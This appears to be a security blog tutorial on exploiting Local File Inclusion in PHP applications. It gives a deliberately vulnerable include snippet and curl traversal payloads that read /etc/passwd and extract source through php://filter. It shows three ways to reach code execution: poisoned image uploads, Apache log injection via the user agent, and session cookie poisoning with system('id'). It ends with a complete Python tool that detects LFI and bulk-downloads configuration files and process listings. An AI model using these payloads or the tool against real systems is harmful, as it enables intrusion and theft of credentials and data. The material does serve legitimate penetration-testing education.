Local File Inclusion (LFI) Attacks

Local File Inclusion (LFI) attacks can occur if a web application references a file on disk based on user supplied input. LFI attacks can be used to reveal sensitive information such as credentials in configuration files and may lead to remote code execution.

For instance, the below PHP code is vulnerable to LFI in the page parameter. An attacker can exploit this to reveal other files on disk.

<?php
   $page = $_GET['page'];
   if(isset($page))
   {
       include("pages/$page");
   }
   else
   {
       print "Welcome!";
   }
?>

System Enumeration

Retrieving Configuration Files

A basic directory traversal attack can be carried out to reveal the contents of /etc/passwd;

curl  "http://127.0.0.1/index.php?page=../../../../../etc/passwd"
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

The application may filter strings passed to it, such as excluding “../” characters, as such it’s worth attempting directory traversal using a number of encoding techniques.

A Python application that attempts to identify LFI in GET requests is listed at the end of this article.

python3 lfi_tool.py -u "http://127.0.0.1/index.php?page=FUZZ" -o captured_files 
Checking for working LFI...
Found /etc/passwd LFI: ../../../../{FILE}
Getting baseline response...
Filtered response size: 0
Fetching /proc/self/cmdline
/usr/sbin/apache2 -k start 
Fetching process listing
Downloading common files
Done!
┌──(kali㉿kali)-[~/LFI]
└─$ ls -la captured_files             
total 7400
drwxr-xr-x 2 kali kali    4096 Apr 12 18:20 .
drwxr-xr-x 4 kali kali    4096 Apr 12 18:18 ..
-rw-r--r-- 1 kali kali    3040 Apr 12 18:20 _etc_adduser.conf
-rw-r--r-- 1 kali kali    7178 Apr 12 18:20 _etc_apache2_apache2.conf
-rw-r--r-- 1 kali kali    1782 Apr 12 18:20 _etc_apache2_envvars
-rw-r--r-- 1 kali kali    3208 Apr 12 18:20 _etc_apache2_mods-available_autoindex.conf
-rw-r--r-- 1 kali kali     370 Apr 12 18:20 _etc_apache2_mods-available_deflate.conf

Retrieving Process Listings

The proc virtual filesystem on Linux lists the command used to execute each process in the cmdline entry. For example;

cat /proc/1/cmdline 
/sbin/initsplash 
cat /proc/11286/cmdline
/usr/sbin/apache2-kstart   

This can be useful to identify other potentially vulnerable applications running on the host.

PHP Conversion Filters

When attempting to extract the source code of PHP files, the contents of the files may be executed rather than showing the actual source code. To get around this, PHP conversion filters can be used. As the name suggests, they are normally used to convert input, but can also be used to prevent code from executing before it’s transmitted.

curl  "http://127.0.0.1/index.php?page=php://filter/read=convert.base64-encode/resource=index.php"
PD9waHAKICAgJHBhZ2UgPSAkX0dFVFsncGFnZSddOwogICBpZihpc3NldCgkcGFnZSkpCiAgIHsKICAgICAgIGluY2x1ZGUoInBhZ2VzLyRwYWdlIik7CiAgIH0KICAgZWxzZQogICB7CiAgICAgICBwcmludCAiV2VsY29tZSEiOwogICB9Cj8+Cg==

echo PD9waHAKICAgJHBhZ2UgPSAkX0dFVFsncGFnZSddOwogICBpZihpc3NldCgkcGFnZSkpCiAgIHsKICAgICAgIGluY2x1ZGUoInBhZ2VzLyRwYWdlIik7CiAgIH0KICAgZWxzZQogICB7CiAgICAgICBwcmludCAiV2VsY29tZSEiOwogICB9Cj8+Cg== | base64 -d
<?php
   $page = $_GET['page'];
   if(isset($page))
   {
       include("pages/$page");
   }
   else
   {
       print "Welcome!";
   }
?>


Remote Code Execution

For remote code execution, an adversary would need to upload some code to the server that can be referenced through the LFI vulnerability. For this to work, PHP functions such as include() or require() would need to be used in the code.

Uploading the code to be executed could be done in a number of ways.

Exploiting a File Upload Vulnerability

If the target application allows uploading files, such as profile images it might be possible to include PHP code within the uploaded file. E.g

┌──(kali㉿kali)-[/var/www/html/uploads]
└─$ cat image.jpg
<?php system('id');?>

This code can then be referenced and executed through the LFI vulnerability;

curl "http://127.0.0.1/index.php?page=.../../../../../../../../../../var/www/html/uploads/image.jpg"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Log File Poisoning

Apache log files typically record the page being accessed, and the client user agent. We can insert PHP code into our user agent, then use the LFI to load the code stored in the log file.

curl  "http://127.0.0.1/index.php?page=.../../../../../../../../../../var/log/apache2/access.log" --user-agent "<?php system('id');?>" 

127.0.0.1 - - [12/Apr/2023:12:48:07 +0100] "GET /index.php?page=.../../../../../../../../../../var/log/apache2/access.log HTTP/1.1" 200 3612 "-" "uid=33(www-data) gid=33(www-data) groups=33(www-data)

PHP Session Cookie Poisoning

If an adversary can include code within a session cookie, this could be executed using the LFI vulnerability. For instance, the following PHP code sets a session cookie based on a user supplied language parameter.

<?php
session_start();
$_SESSION["language"] = "english";

$language = $_GET['lang'];
if(isset($language))
{
    $_SESSION["language"] = $language;
}

?>

Visting the page, we can see the session cookie being set;

curl -v "http://127.0.0.1/cookie.php"
*   Trying 127.0.0.1:80...
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> GET /cookie.php HTTP/1.1
> Host: 127.0.0.1
> User-Agent: curl/7.88.1
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: Apache/2.4.56 (Debian)
< Set-Cookie: PHPSESSID=t3m00bnbkdlreeo77uidlmj916; path=/
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8

The contents of the cookie are stored on the server under /var/lib/php/sessions/;

cat /var/lib/php/sessions/sess_t3m00bnbkdlreeo77uidlmj916 
language|s:7:"english";

So, by sending a request to set the cookie contents, we can then call the cookie file using the LFI to execute the code;

curl -v "http://127.0.0.1/cookie.php?lang=%3C?php%20system('id');?%3E"
curl  "http://127.0.0.1/index.php?page=.../../../../../../../../../..//var/lib/php/sessions/sess_7ler85dekipojhfrp1uuhntv6r"
language|s:21:"uid=33(www-data) gid=33(www-data) groups=33(www-data)

LFI Exploit Code

The below attempts to identify a vulnerable parameter, and if found it downloads all common configuration files from the host.

import requests
import urllib3.util.url as urllib3_url
import argparse
import os.path
from colorama import Fore, Back, Style

CONSOLE_ARGUMENTS = None
FILTERED_RESPONSE_SIZE = None

lfi_list = '/usr/share/wordlists/wfuzz/vulns/dirTraversal.txt'
common_files = '/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt'

def hook_invalid_chars(component, allowed_chars):
    # Don't perform any URL encoding
    return component

urllib3_url._encode_invalid_chars = hook_invalid_chars

def make_request(url, lfi):
    target_url = url.replace('FUZZ',lfi)
    headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate"}
    response = requests.get(url=target_url , headers=headers)
    return response.content

def fetch_file(url,found_lfi,filename,save_file):
    lfi_path = found_lfi.replace('{FILE}',filename)
    response = make_request(url,lfi_path.strip())
    if FILTERED_RESPONSE_SIZE is None:
        return response
    else:
        if len(response) != FILTERED_RESPONSE_SIZE:
            if save_file is True:
                write_file(filename,response)
            else:
                return response

def find_lfi(wordlist,url):
    with open(wordlist) as fuzzFile:
        for lfi in fuzzFile:
            lfi_path = lfi.replace('{FILE}','/etc/passwd')
            response = make_request(url,lfi_path.strip())
            if '/usr/sbin/nologin' in str(response):
                return lfi
        return False

def download_common_files(url,found_lfi,output_path):
    with open(common_files) as fuzzFile:
        for filename in fuzzFile:
            fetch_file(url,found_lfi,filename,True)

def write_file(filename,filecontents):
    filename = filename.replace('/','_')
    filename = str(filename).strip()
    #print(filename)
    completeName = os.path.join(CONSOLE_ARGUMENTS.output, filename)
    f = open(completeName, "w")
    f.write(filecontents.decode('utf8', errors='replace'))
    f.close()

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", '--url', type=str, required=True, help = "Target URL containing FUZZ marker. E.g http://127.0.0.1:8000/?page=FUZZ")
    parser.add_argument("-o", '--output', type=str, required=True, help = "Output directory")
    args = parser.parse_args()
    global CONSOLE_ARGUMENTS
    CONSOLE_ARGUMENTS = args

    if 'FUZZ' not in args.url:
         print("No fuzzing marker in URL")
         quit()

    global FILTERED_RESPONSE_SIZE

    print(Fore.GREEN + "Checking for working LFI...", end='')
    print(Style.RESET_ALL)
    found_lfi = find_lfi(lfi_list,args.url)
    if found_lfi is not False:
        print("Found /etc/passwd LFI: " + found_lfi,end='')
    else:
        print(Fore.RED + "No LFI found. Exiting.", end='')
        quit()

    print(Fore.GREEN + "Getting baseline response...", end='')
    print(Style.RESET_ALL)
    non_existant_file = '/bordergate'
    response = fetch_file(args.url,found_lfi,non_existant_file,False)
    print("Filtered response size: " + str(len(response)))
    FILTERED_RESPONSE_SIZE = len(response)

    print(Fore.GREEN + "Fetching /proc/self/cmdline", end='')
    print(Style.RESET_ALL)
    cmdline = '/proc/self/cmdline'
    response = fetch_file(args.url,found_lfi,cmdline,False)
    if response is not None:
        process = response.replace(b'\x00',b' ').decode('ascii')
        print(process)

    print(Fore.GREEN + "Fetching process listing", end='')
    print(Style.RESET_ALL)
    for x in range(1,2500):
        cmdline = '/proc/' + str(x) + '/cmdline'
        response = fetch_file(args.url,found_lfi,cmdline,False)
        if response is not None:
            process = response.replace(b'\x00',b' ').decode('ascii')
            with open("process_listing.txt", "a") as f:
                f.write(process + "\n")

    print(Fore.GREEN + "Downloading common files",end='')
    print(Style.RESET_ALL)
    output_path = args.output
    isExist = os.path.exists(output_path)
    if not isExist:
        os.makedirs(output_path)
    download_common_files(args.url,found_lfi,output_path)

    print("Done!")

if __name__ == "__main__":
    main()